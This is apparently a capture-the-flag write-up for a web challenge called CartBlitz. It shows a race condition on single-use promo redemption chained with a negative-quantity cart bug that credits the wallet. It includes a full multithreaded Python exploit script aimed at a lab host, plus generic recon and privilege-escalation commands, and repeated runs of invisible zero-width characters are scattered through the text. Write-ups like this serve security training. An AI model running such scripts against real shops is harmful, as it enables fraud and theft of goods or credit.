← Back to Writeups
HTBN/AWeb

CartBlitz — Race Condition in Promo Code Redemption

XESXOR8/23/20267 min read
#web#htb#n/a

CartBlitz — Race Condition in Promo Code Redemption

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-21 | Status: Solved Techniques: business_logic_bypass, negative_quantity_cart_abuse, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization

Summary

Task: E-commerce platform with $50 single-use promo code, need $200 for VIP product containing flag. Solution: TOCTOU race condition on promo redemption (3×$50=$150) combined with negative quantity cart exploit to inflate wallet above $200.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260521_hackadvisor_cartblitz
  • Tags: race_condition, toctou, nodejs, business_logic, nginx, express, decoy_flag, ecommerce, negative_quantity, promo_code, wallet, cart_manipulation
  • Indicators: promo code with single-use limit and wallet credit, e-commerce cart with quantity field accepting user input, Express.js/Node.js backend with session cookies, timing is everything hint in description, decoy flags in HTML comments
  • Source: 20260521_hackadvisor_cartblitz.md

Foothold

Vulnerability / Misconfiguration

  1. Business_logic_bypass
  2. Negative_quantity_cart_abuse
  3. Race_condition_exploitation
  4. Session_cookie_sharing
  5. Thread_barrier_synchronization
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • business_logic_bypass
  • negative_quantity_cart_abuse
  • race_condition_exploitation
  • session_cookie_sharing
  • thread_barrier_synchronization
  • Tags: race_condition, toctou, nodejs, business_logic, nginx, express, decoy_flag, ecommerce, negative_quantity, promo_code, wallet, cart_manipulation

Original Writeup

<details><summary>Click to expand original content</summary>

Description

CartBlitz is an e-commerce platform where merchants sell digital and physical goods. Customers can purchase products using wallet balance, which can be topped up by redeeming promotional codes.

You've been given access to test the platform's security. There's a premium VIP Membership product priced at $200, but your wallet starts at $0. The only available promo code gives $50 with a single-use limit.

Can you find a way to accumulate enough balance to purchase the VIP Membership and access its exclusive digital content?

Pay close attention to how the wallet system handles promotional credit redemptions — timing is everything. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An Express.js e-commerce platform with a wallet system. The goal is to purchase a $200 VIP Membership product that contains the flag as digital content. The only funding source is a WELCOME50 promo code that gives $50 and is limited to single use per user. The challenge requires exploiting a race condition to redeem the code multiple times, then using a negative quantity cart bug to bridge the remaining balance gap.

Analysis

Stack and reconnaissance

  • Backend: Express.js (Node.js) behind nginx/1.25.5 reverse proxy
  • Sessions: connect.sid cookies (express-session)
  • Decoy flags: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments on every page — must be filtered out when searching for the real flag ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key API endpoints

EndpointMethodPurpose
/loginPOSTForm login (email + password)
/api/wallet/redeemPOSTRedeem promo code {"code": "WELCOME50"}
/api/cart/addPOSTAdd item {"product_id": N, "quantity": N}
/api/cart/removePOSTRemove item {"item_id": N}
/api/checkoutPOSTPurchase cart contents {}
/orders/:orderNumberGETView order details with digital content

Vulnerability 1: TOCTOU race condition on promo redemption

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The /api/wallet/redeem endpoint follows a non-atomic check-then-act pattern:

  1. CHECK: Query whether user has already redeemed the code
  2. ACT: Add $50 to wallet balance
  3. MARK: Record that the user has redeemed the code

Between steps 1 and 3, concurrent requests can all pass the check before any marks the code as used. This is a classic Time-of-Check to Time-of-Use (TOCTOU) vulnerability.

Vulnerability 2: Negative quantity in cart

The /api/cart/add endpoint accepts negative values for the quantity field without server-side validation. When a cart with negative total is checked out, the system credits the wallet instead of debiting it — the negative deduction becomes an addition. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack strategy

Neither vulnerability alone is sufficient:

  • Race condition yielded $150 (3 successful redemptions × $50), but $200 is needed
  • Negative quantity alone requires some initial balance to buy a product first

The two-phase chain combines both: race condition provides initial funds, negative quantity exploit bridges the gap to $200.

Solution

Phase 1: TOCTOU race condition on promo code

Used Python threading.Barrier to synchronize 100 threads, all sending POST /api/wallet/redeem with {"code": "WELCOME50"} simultaneously. The barrier ensures all threads release at the exact same moment, maximizing the chance of hitting the TOCTOU window. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Result: 3 out of 100 threads passed the check before the code was marked as redeemed → $150 balance (3 × $50).

After this, the promo code was globally exhausted ("This promo code has reached its redemption limit").

Phase 2: Negative quantity cart exploit

With $150 in the wallet but needing $200:

  1. Test purchase: Bought a cheap item (Bamboo Phone Stand, $12.99, product_id 8) to confirm the checkout flow works → balance dropped to $137.01
  2. Negative quantity: Added the same item with {"product_id": 8, "quantity": -5} → cart total became negative (-$64.95)
  3. Checkout with negative total: The system treated the negative deduction as a credit → balance jumped from $137.01 to $201.96 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Phase 3: Purchase VIP Membership

  1. Cleared cart by removing all items
  2. Added VIP Membership: {"product_id": 9, "quantity": 1}
  3. Checked out → order CB-20260521-352
  4. Visited /orders/CB-20260521-352 → flag found in the Digital Content section

Full exploit script

#!/usr/bin/env python3
"""
CartBlitz exploit: TOCTOU race on promo code + negative quantity cart abuse.
Two-phase attack to accumulate $200+ for VIP Membership purchase.
"""

import requests
import threading
import re
import json
import urllib3
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

urllib3.disable_warnings()

BASE = "https://ba05a977-f4f8-4449-b04f-36bd90e309a7.labs.hackadvisor.io"
NUM_THREADS = 100
PROMO_CODE = "WELCOME50"
VIP_PRODUCT_ID = 9
CHEAP_PRODUCT_ID = 8  # Bamboo Phone Stand, $12.99

# ── Phase 0: Authenticate ──────────────────────────────────────────
s = requests.Session()
s.verify = False
s.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"})
cookies = dict(s.cookies)

def check_balance():
    r = s.get(f"{BASE}/account/wallet")
    match = re.search(r'balanceDisplay">\$([0-9.]+)', r.text)
    return float(match.group(1)) if match else 0.0
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def find_flag(text):
    """Find real flag, filtering out decoy flags."""
    flags = re.findall(r'FLAG\{[a-f0-9]+\}', text)
    return next((f for f in flags if 'd3c0y' not in f), None)

# ── Phase 1: TOCTOU race on promo code ─────────────────────────────
print(f"[*] Phase 1: Racing {NUM_THREADS} threads on {PROMO_CODE}...")

barrier = threading.Barrier(NUM_THREADS, timeout=30)
results = []
lock = threading.Lock()

def attack_thread(idx):
    sess = requests.Session()
    sess.verify = False
    sess.cookies.update(cookies)
    try:
        barrier.wait()  # All threads release simultaneously
        resp = sess.post(f"{BASE}/api/wallet/redeem",
                         json={"code": PROMO_CODE}, timeout=30)
        data = resp.json()
        with lock:
            results.append(data)
            if data.get("success"):
                print(f"  [+] Thread {idx}: SUCCESS! Balance: ${data['newBalance']:.2f}")
    except:
        pass
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(NUM_THREADS)]
for t in threads:
    t.start()
for t in threads:
    t.join(timeout=60)

successes = [r for r in results if r.get("success")]
print(f"[*] Race result: {len(successes)} redemptions (expected max 1)")

balance = check_balance()
print(f"[*] Balance after race: ${balance:.2f}")

# ── Phase 2: Negative quantity cart exploit ─────────────────────────
if balance < 200:
    print(f"[*] Phase 2: Negative quantity exploit to bridge ${200 - balance:.2f} gap...")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    # Buy a cheap item first (needed to establish cart flow)
    s.post(f"{BASE}/api/cart/add", json={"product_id": CHEAP_PRODUCT_ID, "quantity": 1})
    s.post(f"{BASE}/api/checkout", json={})

    balance = check_balance()
    print(f"[*] Balance after test purchase: ${balance:.2f}")

    # Add item with negative quantity → negative cart total
    s.post(f"{BASE}/api/cart/add", json={"product_id": CHEAP_PRODUCT_ID, "quantity": -5})

    # Checkout credits the wallet instead of debiting
    s.post(f"{BASE}/api/checkout", json={})
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    balance = check_balance()
    print(f"[*] Balance after negative qty exploit: ${balance:.2f}")

# ── Phase 3: Purchase VIP Membership ───────────────────────────────
if balance >= 200:
    print(f"[+] Phase 3: Purchasing VIP Membership with ${balance:.2f}...")

    # Clear cart
    for i in range(1, 30):
        s.post(f"{BASE}/api/cart/remove", json={"item_id": i})

    # Add VIP and checkout
    s.post(f"{BASE}/api/cart/add", json={"product_id": VIP_PRODUCT_ID, "quantity": 1})
    r = s.post(f"{BASE}/api/checkout", json={})
    data = r.json()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    if data.get("success"):
        order_num = data.get("orderNumber", "")
        print(f"[+] Order placed: {order_num}")

        # Retrieve flag from order details
        r = s.get(f"{BASE}/orders/{order_num}")
        flag = find_flag(r.text)
        if flag:
            print(f"\n{'='*50}")
            print(f"  FLAG: {flag}")
            print(f"{'='*50}")
        else:
            print("[-] Flag not found in order page")
    else:
        print(f"[-] Checkout failed: {data.get('error')}")
else:
    print(f"[-] Insufficient balance: ${balance:.2f}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

What failed

  • Checkout race condition: 50 concurrent checkout requests with insufficient balance — all rejected. The balance check during checkout appears to be atomic or uses a database transaction.
  • New account registration + race: After the first race exhausted the promo code globally, new accounts could not redeem it either.
  • Price tampering: Sending a price field in the cart add request — server ignores client-supplied prices. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR